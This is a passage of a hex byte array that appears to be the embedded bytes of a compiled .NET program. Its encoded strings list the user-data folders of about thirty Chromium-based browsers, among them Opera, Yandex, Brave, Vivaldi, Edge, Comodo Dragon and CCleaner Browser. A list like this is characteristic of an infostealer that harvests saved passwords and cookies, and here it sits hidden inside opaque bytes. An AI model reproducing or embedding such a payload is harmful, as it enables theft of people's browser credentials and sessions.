0x77, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x0B, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x7A, 0x00,\n\t0x61, 0x00, 0x00, 0x21, 0x5C, 0x00, 0x4B, 0x00, 0x69, 0x00, 0x6E, 0x00,\n\t0x7A, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x13, 0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x29, 0x5C, 0x00,\n\t0x55, 0x00, 0x52, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x1D, 0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00,\n\t0x54, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00,\n\t0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x00, 0x43, 0x5C, 0x00,\n\t0x41, 0x00, 0x56, 0x00, 0x41, 0x00, 0x53, 0x00, 0x54, 0x00, 0x20, 0x00,\n\t0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x77, 0x00, 0x61, 0x00,\n\t0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00,\n\t0x61, 0x00, 0x6D, 0x00, 0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x00, 0x27,\n\t0x5C, 0x00, 0x53, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x6D, 0x00,\n\t0x57, 0x00, 0x65, 0x00, 0x62, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x11, 0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00,\n\t0x61, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00,\n\t0x43, 0x00, 0x43, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x61, 0x00, 0x6E, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x61, 0x00, 0x00, 0x37, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00,\n\t0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00,\n\t0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00,\n\t0x53, 0x00, 0x74, 0x00, 0x61, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x65, 0x00,\n\t0x00, 0x0D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x65, 0x00,\n\t0x78, 0x00, 0x00, 0x3D, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x64, 0x00,\n\t0x65, 0x00, 0x78, 0x00, 0x5C, 0x00, 0x59, 0x00, 0x61, 0x00, 0x6E, 0x00,\n\t0x64, 0x00, 0x65, 0x00, 0x78, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00, 0x6C, 0x00, 0x69, 0x00,\n\t0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00, 0x00, 0x23, 0x53, 0x00,\n\t0x6C, 0x00, 0x69, 0x00, 0x6D, 0x00, 0x6A, 0x00, 0x65, 0x00, 0x74, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x33, 0x00,\n\t0x36, 0x00, 0x30, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x37, 0x5C, 0x00,\n\t0x33, 0x00, 0x36, 0x00, 0x30, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00,\n\t0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x44, 0x00, 0x72, 0x00,\n\t0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00,\n\t0x6F, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x5C, 0x00,\n\t0x44, 0x00, 0x72, 0x00, 0x61, 0x00, 0x67, 0x00, 0x6F, 0x00, 0x6E, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11, 0x43, 0x00,\n\t0x6F, 0x00, 0x6F, 0x00, 0x6C, 0x00, 0x4E, 0x00, 0x6F, 0x00, 0x76, 0x00,\n\t0x6F, 0x00, 0x00, 0x41, 0x4D, 0x00, 0x61, 0x00, 0x70, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x53, 0x00, 0x74, 0x00, 0x75, 0x00, 0x64, 0x00, 0x69, 0x00,\n\t0x6F, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x50, 0x00, 0x6C, 0x00, 0x75, 0x00, 0x73, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x3D, 0x43, 0x00,\n\t0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00,\n\t0x6D, 0x00, 0x20, 0x00, 0x7C, 0x00, 0x20, 0x00, 0x53, 0x00, 0x52, 0x00,\n\t0x57, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x20, 0x00, 0x49, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x00, 0x25,\n\t0x43, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00,\n\t0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x1B, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x63, 0x00, 0x68, 0x00,\n\t0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x00, 0x1F, 0x54, 0x00, 0x6F, 0x00, 0x72, 0x00,\n\t0x63, 0x00, 0x68, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x1B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00,\n\t0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x00, 0x4B, 0x42, 0x00, 0x72, 0x00, 0x61, 0x00,\n\t0x76, 0x00, 0x65, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00, 0x74, 0x00,\n\t0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x42, 0x00,\n\t0x72, 0x00, 0x61, 0x00, 0x76, 0x00, 0x65, 0x00, 0x2D, 0x00, 0x42, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x01, 0x1F, 0x49, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00,\n\t0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x00, 0x25, 0x5C, 0x00, 0x49, 0x00, 0x72, 0x00,\n\t0x69, 0x00, 0x64, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x5C, 0x00,\n\t0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00,\n\t0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x4F, 0x00, 0x70, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x4E, 0x00, 0x65, 0x00,\n\t0x6F, 0x00, 0x6E, 0x00, 0x00, 0x47, 0x4F, 0x00, 0x70, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x61, 0x00, 0x20, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x66, 0x00,\n\t0x74, 0x00, 0x77, 0x00, 0x61, 0x00, 0x72, 0x00, 0x65, 0x00, 0x5C, 0x00,\n\t0x4F, 0x00, 0x70, 0x00, 0x65, 0x00, 0x72, 0x00, 0x61, 0x00, 0x20, 0x00,\n\t0x4E, 0x00, 0x65, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x37, 0x00, 0x53, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x0B, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00,\n\t0x00, 0x1F, 0x41, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x67, 0x00, 0x6F, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0B, 0x42, 0x00,\n\t0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x00, 0x1F, 0x42, 0x00,\n\t0x6C, 0x00, 0x69, 0x00, 0x73, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x17, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00,\n\t0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x00, 0x2B, 0x43, 0x00, 0x65, 0x00, 0x6E, 0x00,\n\t0x74, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x0D, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00, 0x6F, 0x00,\n\t0x74, 0x00, 0x00, 0x21, 0x43, 0x00, 0x68, 0x00, 0x65, 0x00, 0x64, 0x00,\n\t0x6F, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00, 0x6F, 0x00,\n\t0x63, 0x00, 0x00, 0x31, 0x43, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x43, 0x00,\n\t0x6F, 0x00, 0x63, 0x00, 0x5C, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00,\n\t0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x00, 0x35, 0x45, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x42, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x29, 0x45, 0x00,\n\t0x70, 0x00, 0x69, 0x00, 0x63, 0x00, 0x20, 0x00, 0x50, 0x00, 0x72, 0x00,\n\t0x69, 0x00, 0x76, 0x00, 0x61, 0x00, 0x63, 0x00, 0x79, 0x00, 0x20, 0x00,\n\t0x42, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x00, 0x3D, 0x45, 0x00, 0x70, 0x00, 0x69, 0x00, 0x63, 0x00,\n\t0x20, 0x00, 0x50, 0x00, 0x72, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00,\n\t0x63, 0x00, 0x79, 0x00, 0x20, 0x00, 0x42, 0x00, 0x72, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x4B, 0x00, 0x6F, 0x00, 0x6D, 0x00,\n\t0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x21, 0x4B, 0x00, 0x6F, 0x00,\n\t0x6D, 0x00, 0x65, 0x00, 0x74, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x4F, 0x00, 0x72, 0x00, 0x62, 0x00,\n\t0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x23, 0x4F, 0x00,\n\t0x72, 0x00, 0x62, 0x00, 0x69, 0x00, 0x74, 0x00, 0x75, 0x00, 0x6D, 0x00,\n\t0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00,\n\t0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x0F, 0x53, 0x00,\n\t0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00,\n\t0x00, 0x33, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00, 0x74, 0x00, 0x6E, 0x00,\n\t0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x70, 0x00, 0x75, 0x00,\n\t0x74, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x6B, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x13, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00,\n\t0x7A, 0x00, 0x4D, 0x00, 0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00,\n\t0x00, 0x31, 0x75, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x7A, 0x00, 0x4D, 0x00,\n\t0x65, 0x00, 0x64, 0x00, 0x69, 0x00, 0x61, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x0F, 0x56, 0x00, 0x69, 0x00, 0x76, 0x00, 0x61, 0x00,\n\t0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x00, 0x23, 0x56, 0x00, 0x69, 0x00,\n\t0x76, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x64, 0x00, 0x69, 0x00, 0x5C, 0x00,\n\t0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00,\n\t0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x15, 0x53, 0x00, 0x6C, 0x00,\n\t0x65, 0x00, 0x69, 0x00, 0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00,\n\t0x20, 0x00, 0x36, 0x00, 0x00, 0x67, 0x46, 0x00, 0x65, 0x00, 0x6E, 0x00,\n\t0x72, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00,\n\t0x63, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x69, 0x00,\n\t0x70, 0x00, 0x6E, 0x00, 0x69, 0x00, 0x72, 0x00, 0x35, 0x00, 0x5C, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x74, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6E, 0x00,\n\t0x67, 0x00, 0x5C, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00,\n\t0x6C, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x68, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00,\n\t0x56, 0x00, 0x69, 0x00, 0x65, 0x00, 0x77, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x00, 0x0D, 0x43, 0x00, 0x69, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00,\n\t0x6F, 0x00, 0x00, 0x3D, 0x43, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x6C, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x47, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x75, 0x00, 0x70, 0x00, 0x5C, 0x00, 0x43, 0x00, 0x69, 0x00,\n\t0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00,\n\t0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00,\n\t0x74, 0x00, 0x61, 0x00, 0x00, 0x0D, 0x43, 0x00, 0x6F, 0x00, 0x6F, 0x00,\n\t0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x2F, 0x43, 0x00, 0x6F, 0x00,\n\t0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00, 0x43, 0x00,\n\t0x6F, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x5C, 0x00,\n\t0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00,\n\t0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1D, 0x4C, 0x00, 0x69, 0x00,\n\t0x65, 0x00, 0x62, 0x00, 0x61, 0x00, 0x6F, 0x00, 0x20, 0x00, 0x42, 0x00,\n\t0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x00, 0x21, 0x6C, 0x00, 0x69, 0x00, 0x65, 0x00, 0x62, 0x00, 0x61, 0x00,\n\t0x6F, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00,\n\t0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x11,\n\t0x51, 0x00, 0x49, 0x00, 0x50, 0x00, 0x20, 0x00, 0x53, 0x00, 0x75, 0x00,\n\t0x72, 0x00, 0x66, 0x00, 0x00, 0x25, 0x51, 0x00, 0x49, 0x00, 0x50, 0x00,\n\t0x20, 0x00, 0x53, 0x00, 0x75, 0x00, 0x72, 0x00, 0x66, 0x00, 0x5C, 0x00,\n\t0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00,\n\t0x61, 0x00, 0x74, 0x00, 0x61, 0x00, 0x00, 0x1B, 0x45, 0x00, 0x64, 0x00,\n\t0x67, 0x00, 0x65, 0x00, 0x20, 0x00, 0x43, 0x00, 0x68, 0x00, 0x72, 0x00,\n\t0x6F, 0x00, 0x6D, 0x00, 0x69, 0x00, 0x75, 0x00, 0x6D, 0x00, 0x00, 0x31,\n\t0x4D, 0x00, 0x69, 0x00, 0x63, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x73, 0x00,\n\t0x6F, 0x00, 0x66, 0x00, 0x74, 0x00, 0x5C, 0x00, 0x45, 0x00, 0x64, 0x00,\n\t0x67, 0x00, 0x65, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00,\n\t0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00, 0x61, 0x00,\n\t0x00, 0x0F, 0x4D, 0x00, 0x61, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x2E, 0x00,\n\t0x52, 0x00, 0x75, 0x00, 0x00, 0x2D, 0x4D, 0x00, 0x61, 0x00, 0x69, 0x00,\n\t0x6C, 0x00, 0x2E, 0x00, 0x52, 0x00, 0x75, 0x00, 0x5C, 0x00, 0x41, 0x00,\n\t0x74, 0x00, 0x6F, 0x00, 0x6D, 0x00, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00,\n\t0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x44, 0x00, 0x61, 0x00, 0x74, 0x00,\n\t0x61, 0x00, 0x00, 0x00, 0x9F, 0xDB, 0xDE, 0x25, 0x0C, 0xE3, 0x59, 0x4C,\n\t0xB2, 0x8C, 0x2E, 0xFA, 0x70, 0xB2, 0x9C, 0xDF, 0x00, 0x04, 0x20, 0x01,\n\t0x01, 0x08, 0x03, 0x20, 0x00, 0x01, 0x05, 0x20, 0x01, 0x01, 0x11, 0x11,\n\t0x04, 0x20, 0x01, 0x01, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x02, 0x10, 0x07,\n\t0x03, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x15, 0x11, 0x49, 0x01, 0x12,\n\t0x10, 0x12, 0x10, 0x06, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x06, 0x15,\n\t0x12, 0x45, 0x01, 0x12, 0x10, 0x08, 0x20, 0x00, 0x15, 0x11, 0x49, 0x01,\n\t0x13, 0x00, 0x06, 0x15, 0x11, 0x49, 0x01, 0x12, 0x10, 0x04, 0x20, 0x00,\n\t0x13, 0x00, 0x05, 0x20, 0x01, 0x01, 0x13, 0x00, 0x03, 0x20, 0x00, 0x02,\n\t0x10, 0x07, 0x03, 0x15, 0x12, 0x45, 0x01, 0x1D, 0x1C, 0x15, 0x11, 0x49,\n\t0x01, 0x12, 0x48, 0x12, 0x48, 0x06, 0x15, 0x12, 0x45, 0x01, 0x12, 0x48,\n\t0x06, 0x15, 0x11, 0x49, 0x01, 0x12, 0x48, 0x03, 0x07, 0x01, 0x0E, 0x07,\n\t0x00, 0x02, 0x01, 0x12, 0x75, 0x11, 0x79, 0x04, 0x00, 0x01, 0x02, 0x0E,\n\t0x0F, 0x00, 0x06, 0x01, 0x08, 0x0E, 0x11, 0x80, 0x85, 0x11, 0x80, 0x89,\n\t0x11, 0x80, 0x8D, 0x08, 0x04, 0x00, 0x01, 0x0A, 0x08, 0x04, 0x00, 0x01,\n\t0x0E, 0x08, 0x08, 0x00, 0x04, 0x01, 0x08, 0x10, 0x0E, 0x0A, 0x02, 0x05,\n\t0x00, 0x01, 0x01, 0x1D, 0x08, 0x05, 0x00, 0x00, 0x12, 0x80, 0x99, 0x05,\n\t0x20, 0x01, 0x1D, 0x05, 0x0E, 0x07, 0x20, 0x03, 0x0E, 0x1D, 0x05, 0x08,\n\t0x08, 0x04, 0x20, 0x01, 0x08, 0x0E, 0x04, 0x20, 0x01, 0x01, 0x0B, 0x04,\n\t0x06, 0x11, 0x80, 0xA1, 0x09, 0x00, 0x02, 